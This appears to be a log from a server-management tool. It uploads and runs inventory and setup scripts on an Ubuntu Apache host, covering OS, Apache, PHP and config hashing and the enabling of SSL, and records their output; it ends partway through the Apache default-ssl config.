MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-18 14:40:14: Establishing a connection
2026-04-19 06:00:02: Establishing a remote connection
2026-04-19 17:04:59: Establishing a connection
2026-04-19 17:05:00: Performing Server Status
2026-04-19 17:05:00: 

PUT: /tmp/pkp533315

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-19 17:05:01: 

chmod 755 /tmp/pkp533315; /tmp/pkp533315; rm /tmp/pkp533315

2026-04-19 17:05:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		8388604		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
pluto

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-04-19 17:05:01: 

PUT: /tmp/pkp596822

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-19 17:05:01: 

chmod 755 /tmp/pkp596822; /tmp/pkp596822; rm /tmp/pkp596822

2026-04-19 17:05:02: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1077
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        1077  0.0  0.1 278888 25312 ?        Ss   12:39   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 setenvif_module (shared)
 status_module (shared)


2026-04-19 17:05:02: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'pluto',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'setenvif_module',
      27 => 'status_module',
    ),
  ),
)


2026-04-19 17:05:02: 

PUT: /tmp/pkp838664

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-19 17:05:02: 

chmod 755 /tmp/pkp838664; /tmp/pkp838664; rm /tmp/pkp838664

2026-04-19 17:05:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-19 17:05:03: 

PUT: /tmp/pkp406451

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-19 17:05:03: 

chmod 755 /tmp/pkp406451; /tmp/pkp406451; rm /tmp/pkp406451

2026-04-19 17:05:03: 


[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.20


2026-04-19 17:05:03: 

PUT: /tmp/pkp661781

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-19 17:05:04: 

chmod 755 /tmp/pkp661781; /tmp/pkp661781; rm /tmp/pkp661781

2026-04-19 17:05:04: 
(gzipped output)




2026-04-19 17:05:04: 

PUT: /tmp/pkp361906

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		service apache2 restart
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		service apache2 restart
	fi
	echo status=ok
fi



2026-04-19 17:05:04: 

chmod 755 /tmp/pkp361906; /tmp/pkp361906; rm /tmp/pkp361906

2026-04-19 17:05:05: 


Enabling module socache_shmcb.
Enabling module ssl.
status=ok


2026-04-19 17:05:05: 

PUT: /tmp/pkp426958

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-19 17:05:05: 

chmod 755 /tmp/pkp426958; /tmp/pkp426958; rm /tmp/pkp426958

2026-04-19 17:05:06: 
2026-04-19 17:05:06: 

PUT: /tmp/pkp295421

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/sites-available/000-default.conf')
    show_file('/etc/apache2/sites-available/default-ssl.conf')
    show_file('/etc/ssl/certs/ssl-cert-snakeoil.pem')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-19 17:05:06: 

chmod 755 /tmp/pkp295421; /tmp/pkp295421; rm /tmp/pkp295421

2026-04-19 17:05:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1286
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

